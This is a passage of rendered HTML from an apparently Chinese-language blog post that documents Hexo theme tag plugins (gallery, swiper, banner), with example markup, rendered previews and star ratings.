style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="5-gallery-&#x56FE;&#x5E93;">5. gallery &#x56FE;&#x5E93;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% gallery %}</span><br><span class="line">&#xA0; ![<span class="string">title1</span>](<span class="link">/xxx.png</span>)</span><br><span class="line">&#xA0; ![<span class="string">title2</span>](<span class="link">/xxx.png</span>)</span><br><span class="line">&#xA0; ![<span class="string">title3</span>](<span class="link">/xxx.png</span>)</span><br><span class="line">&#xA0; ![<span class="string">title4</span>](<span class="link">/xxx.png</span>)</span><br><span class="line">{% endgallery %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">{% gallery %}</span><br><span class="line">&#xA0; ![<span class="string">earth</span>](<span class="link">/asset/banners/Steam001.jpg</span>)</span><br><span class="line">&#xA0; ![<span class="string">earth</span>](<span class="link">/asset/banners/Gallery01.jpg</span>)</span><br><span class="line">&#xA0; ![<span class="string">earth</span>](<span class="link">/asset/banners/Gallery02.jpg</span>)</span><br><span class="line">&#xA0; ![<span class="string">earth</span>](<span class="link">/asset/banners/Real01.jpg</span>)</span><br><span class="line">&#xA0; ![<span class="string">earth</span>](<span class="link">/asset/banners/Real02.jpg</span>)</span><br><span class="line">{% endgallery %}</span><br></pre></td></tr></table></figure><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% gallery %}</span><br><span class="line">![<span class="string">@tianhao_wang</span>](<span class="link">https://images.unsplash.com/photo-1688142202243-e218ad203952?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDYzfEZ6bzN6dU9ITjZ3fHxlbnwwfHx8fHw%3D</span>)</span><br><span class="line">![<span class="string">@eberhard</span>](<span class="link">https://images.unsplash.com/photo-1700994630045-f7a20df6d92e?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwcm9maWxlLXBhZ2V8MjN8fHxlbnwwfHx8fHw%3D</span>)</span><br><span class="line">![<span class="string">@eberhard</span>](<span class="link">https://images.unsplash.com/photo-1533274221104-015a584a1005?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDE4fGJvOGpRS1RhRTBZfHxlbnwwfHx8fHw%3D</span>)</span><br><span class="line">![<span class="string">@eberhard</span>](<span class="link">https://images.unsplash.com/photo-1539604214100-ab860d9082e0?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDIxfGJvOGpRS1RhRTBZfHxlbnwwfHx8fHw%3D</span>)</span><br><span class="line">![<span class="string">@eberhard</span>](<span class="link">https://images.unsplash.com/photo-1698843848092-588f9c1bb0bd?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwcm9maWxlLXBhZ2V8Mzh8fHxlbnwwfHx8fHw%3D</span>)</span><br><span class="line">![<span class="string">@vklemen</span>](<span class="link">https://images.unsplash.com/photo-1516571748831-5d81767b788d?q=80&amp;w=2574&amp;auto=format&amp;fit=crop&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D</span>)</span><br><span class="line">{% endgallery %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin gallery grid-box" size="mix" ratio="square"><div class="grid-cell"><img data-fancybox="gallery-1" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/012.JPG" alt="steam1"><div class="image-meta"><span class="image-caption">steam1</span></div></div><div class="grid-cell"><img data-fancybox="gallery-1" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/002.JPG" alt="gallery01"><div class="image-meta"><span class="image-caption">gallery01</span></div></div><div class="grid-cell"><img data-fancybox="gallery-1" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/021.JPG" alt="gallery02"><div class="image-meta"><span class="image-caption">gallery02</span></div></div><div class="grid-cell"><img data-fancybox="gallery-1" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/DSC_1067[1].jpg" alt="real01"><div class="image-meta"><span class="image-caption">real01</span></div></div><div class="grid-cell"><img data-fancybox="gallery-1" src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/007.JPG" alt="real02"><div class="image-meta"><span class="image-caption">real02</span></div></div></div><div class="tag-plugin gallery grid-box" size="mix" ratio="square"><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1688142202243-e218ad203952?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDYzfEZ6bzN6dU9ITjZ3fHxlbnwwfHx8fHw%3D" alt="@tianhao_wang"><div class="image-meta"><span class="image-caption">@tianhao_wang</span></div></div><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1700994630045-f7a20df6d92e?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwcm9maWxlLXBhZ2V8MjN8fHxlbnwwfHx8fHw%3D" alt="@eberhard"><div class="image-meta"><span class="image-caption">@eberhard</span></div></div><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1533274221104-015a584a1005?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDE4fGJvOGpRS1RhRTBZfHxlbnwwfHx8fHw%3D" alt="@eberhard"><div class="image-meta"><span class="image-caption">@eberhard</span></div></div><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1539604214100-ab860d9082e0?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHx0b3BpYy1mZWVkfDIxfGJvOGpRS1RhRTBZfHxlbnwwfHx8fHw%3D" alt="@eberhard"><div class="image-meta"><span class="image-caption">@eberhard</span></div></div><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1698843848092-588f9c1bb0bd?w=800&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwcm9maWxlLXBhZ2V8Mzh8fHxlbnwwfHx8fHw%3D" alt="@eberhard"><div class="image-meta"><span class="image-caption">@eberhard</span></div></div><div class="grid-cell"><img data-fancybox="gallery-2" src="https://images.unsplash.com/photo-1516571748831-5d81767b788d?q=80&amp;w=2574&amp;auto=format&amp;fit=crop&amp;ixlib=rb-4.0.3&amp;ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D" alt="@vklemen"><div class="image-meta"><span class="image-caption">@vklemen</span></div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="6-swiper">6. swiper</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% swiper [width:max] [effect:cards] %}</span><br><span class="line">&#xA0;![<span class="string">img1</span>](<span class="link">src</span>)</span><br><span class="line">&#xA0;![<span class="string">img2</span>](<span class="link">src</span>)</span><br><span class="line">&#xA0;![<span class="string">img3</span>](<span class="link">src</span>)</span><br><span class="line">{% endswiper %}</span><br><span class="line"></span><br><span class="line">width:min/max</span><br><span class="line">effect:cards/coverflow</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">{% swiper width:max effect:cards %}</span><br><span class="line"></span><br><span class="line">{% img https://fastly.jsdelivr.net/gh/Cactusinhand/images<span class="emphasis">_repo/images/20240824211015.png &#xA0;download:1 fancybox:1 &apos;&quot;title text&quot; &quot;alt text&quot;&apos; %}</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% img https://fastly.jsdelivr.net/gh/Cactusinhand/images_</span>repo/images/20240824211015.png &#xA0;download:1 fancybox:1 &apos;&quot;title text&quot; &quot;alt text&quot;&apos; %}</span><br><span class="line"></span><br><span class="line">{% img https://fastly.jsdelivr.net/gh/Cactusinhand/images<span class="emphasis">_repo/images/20240824211015.png &#xA0;download:1 fancybox:1 &apos;&quot;title text&quot; &quot;alt text&quot;&apos; %}</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis">{% endswiper %}</span></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin swiper fancybox" id="swiper-api" width="max" effect="cards"><div class="swiper-wrapper"><div class="swiper-slide"><img no-lazy src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" class title="download:1 fancybox:1 " alt="title text"></div><div class="swiper-slide"><img no-lazy src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" class title="download:1 fancybox:1 " alt="title text"></div><div class="swiper-slide"><img no-lazy src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" class title="download:1 fancybox:1 " alt="title text"></div></div><div class="swiper-pagination"></div><div class="swiper-button-prev blur"></div><div class="swiper-button-next blur"></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="7-banner">7. banner</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% banner title [subtitle] [bg:src] [avatar:src] [link] %}</span><br><span class="line">{% navbar xxx %}</span><br><span class="line">{% endbanner %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% banner title subtitle %}</span><br><span class="line">{% navbar active:/about/ [<span class="string">Home</span>](<span class="link">/</span>) [<span class="string">About</span>](<span class="link">/about/</span>) [<span class="string">Comments</span>](<span class="link">#comments</span>) %}</span><br><span class="line">{% endbanner %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin banner"><img class="bg" src="https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/banner/books.jpg"><div class="content"><div class="top">    <button class="back cap" onclick="window.history.back()">      <svg aria-hidden="true" viewbox="0 0 16 16" fill="currentColor"><path fill-rule="evenodd" d="M7.78 12.53a.75.75 0 01-1.06 0L2.47 8.28a.75.75 0 010-1.06l4.25-4.25a.75.75 0 011.06 1.06L4.81 7h7.44a.75.75 0 010 1.5H4.81l2.97 2.97a.75.75 0 010 1.06z"/></svg>    </button>    <div class="tag-plugin navbar"><nav><a class="link" href="/">Home</a><a class="link active" href="/about/">About</a><a class="link" href="#comments">Comments</a></nav></div></div><div class="bottom"><div class="text-area"><div class="text title">title</div><div class="text subtitle">subtitle</div></div></div></div></div><p><strong>&#x7528;&#x4F5C;&#x6587;&#x7AE0;&#x6458;&#x8981;&#x5361;&#x7247;</strong><br>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% banner &#x535A;&#x5BA2;&#x8FDB;&#x9636;&#xFF1A;&#x81EA;&#x52A8;&#x5316;&#x90E8;&#x7F72; &#x672C;&#x6587;&#x8BB2;&#x4E86;&#x5982;&#x4F55;&#x5229;&#x7528;&#x811A;&#x672C;&#x548C; GitHub Actions &#x7B80;&#x5316;&#x535A;&#x5BA2;&#x642D;&#x5EFA;&#x548C;&#x90E8;&#x7F72;&#x6D41;&#x7A0B;&#xFF0C;&#x63D0;&#x9AD8;&#x6548;&#x7387;&#x3002; bg:/assets/xaoxuu/blog/2022-1126a@2x.jpg link:/blog/20221126/ %}</span><br><span class="line">{% endbanner %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin banner"><img class="bg" src="/posts/10dde778.htmlassets/xaoxuu/blog/2022-1126a@2x.jpg"><div class="content"><div class="top"><div></div></div><div class="bottom"><div class="text-area"><div class="text title">&#x535A;&#x5BA2;&#x8FDB;&#x9636;&#xFF1A;&#x81EA;&#x52A8;&#x5316;&#x90E8;&#x7F72;</div><div class="text subtitle">&#x672C;&#x6587;&#x8BB2;&#x4E86;&#x5982;&#x4F55;&#x5229;&#x7528;&#x811A;&#x672C;&#x548C; GitHub Actions &#x7B80;&#x5316;&#x535A;&#x5BA2;&#x642D;&#x5EFA;&#x548C;&#x90E8;&#x7F72;&#x6D41;&#x7A0B;&#xFF0C;&#x63D0;&#x9AD8;&#x6548;&#x7387;&#x3002;</div></div></div></div><a class="banner-link" href="/blog/20221126/"></a></div><p><strong>&#x6216;&#x8005;&#x7528;&#x6237;&#x4E2A;&#x4EBA;&#x8D44;&#x6599;&#x9875;&#xFF1A;</strong></p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% banner &#x67D0;&#x67D0; &#x8FD9;&#x662F;&#x4E2A;&#x4EBA;&#x7B80;&#x4ECB; avatar:/assets/xaoxuu/avatar/rect-256@2x.png bg:/assets/banner/nebula.jpg %}</span><br><span class="line">{% endbanner %}</span><br></pre></td></tr></table></figure><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path 